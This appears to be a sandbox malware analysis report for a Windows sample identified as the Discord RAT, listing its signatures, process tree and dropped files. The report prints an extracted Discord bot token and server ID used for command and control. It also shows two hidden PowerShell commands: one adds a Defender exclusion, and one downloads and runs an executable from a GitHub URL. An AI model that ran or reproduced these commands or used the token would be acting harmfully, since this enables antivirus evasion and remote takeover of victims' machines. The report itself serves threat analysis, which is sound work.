Analysis
- user interaction
yes - max time kernel
68s - max time network
15s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
26/04/2026, 19:05
General
- Target bingo - Copy.exe
- Size 6.3MB
- Sample260426-xrmy2aaz2r
- SHA256 a9952b79cbf65ad877b3c63d3ed7c5493c3f7e2fc851600c05164e2239095756
Malware Config
Extracted
-
discordrat
-
discord_token
MTQ5Njg5OTgyNTY3NTkyNzY4Mg.Gw7udt.lrafkfUvh6JF8iYeV5hEKZ3fs_ePv8GF82_Ap8
-
server_id
1496899749738184755
Signatures
- Family: Discord RAT
A RAT written in C# using Discord as a C2.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\bingo - Copy.exe"C:\Users\Admin\AppData\Local\Temp\bingo - Copy.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bingo - Copy.exe"C:\Users\Admin\AppData\Local\Temp\bingo - Copy.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\SystemPlatform\" -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command " $ProgressPreference = 'SilentlyContinue' [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri \"https://github.com/Camey196/main/raw/refs/heads/main/main.exe\" -OutFile \"C:\Users\Admin\AppData\Local\SystemPlatform\SysHost.exe\" -UserAgent \"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\" "3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\SystemPlatform\SysHost.exeC:\Users\Admin\AppData\Local\SystemPlatform\SysHost.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
SysHost.exe
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
base_library.zip
libcrypto-1_1.dll
libffi-8.dll
python311.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_xzauhpze.ndn.ps1
memory/2440-79-0x0000029509FC0000-0x000002950A15A000-memory.dmp
memory/3256-86-0x0000013079760000-0x0000013079772000-memory.dmp
memory/3256-81-0x000001307A2D0000-0x000001307A492000-memory.dmp
memory/3256-80-0x0000013077AB0000-0x0000013077AC8000-memory.dmp
memory/3256-82-0x000001307AC20000-0x000001307B148000-memory.dmp
memory/3256-84-0x0000013079F60000-0x000001307A0FA000-memory.dmp
memory/3256-85-0x0000013077F10000-0x0000013077F18000-memory.dmp
memory/3712-75-0x0000027B7D000000-0x0000027B7D008000-memory.dmp
memory/3712-76-0x0000027B7D150000-0x0000027B7D162000-memory.dmp
memory/3712-74-0x0000027B7B550000-0x0000027B7B581000-memory.dmp
memory/5080-51-0x0000025BDD0E0000-0x0000025BDD0EA000-memory.dmp
memory/5080-53-0x0000025BDD0F0000-0x0000025BDD0FA000-memory.dmp
memory/5080-62-0x0000025BC49C0000-0x0000025BC49C8000-memory.dmp
memory/5080-63-0x0000025BC49E0000-0x0000025BC49F2000-memory.dmp
memory/5080-61-0x0000025BC2E90000-0x0000025BC302A000-memory.dmp
memory/5080-57-0x0000025BDD390000-0x0000025BDD39A000-memory.dmp
memory/5080-56-0x0000025BDD340000-0x0000025BDD346000-memory.dmp
memory/5080-55-0x0000025BDD330000-0x0000025BDD338000-memory.dmp
memory/5080-54-0x0000025BDD370000-0x0000025BDD38A000-memory.dmp
memory/5080-58-0x0000025BDD100000-0x0000025BDD110000-memory.dmp
memory/5080-52-0x0000025BDD350000-0x0000025BDD36C000-memory.dmp
memory/5080-32-0x0000025BDD100000-0x0000025BDD110000-memory.dmp
memory/5080-50-0x0000025BDD3F0000-0x0000025BDD4A3000-memory.dmp
memory/5080-49-0x0000025BDD310000-0x0000025BDD32C000-memory.dmp
memory/5080-42-0x00007FF493530000-0x00007FF493540000-memory.dmp
memory/5080-41-0x0000025BDD100000-0x0000025BDD110000-memory.dmp
memory/5080-40-0x0000025BC4F50000-0x0000025BC4F72000-memory.dmp
memory/5080-33-0x0000025BDD100000-0x0000025BDD110000-memory.dmp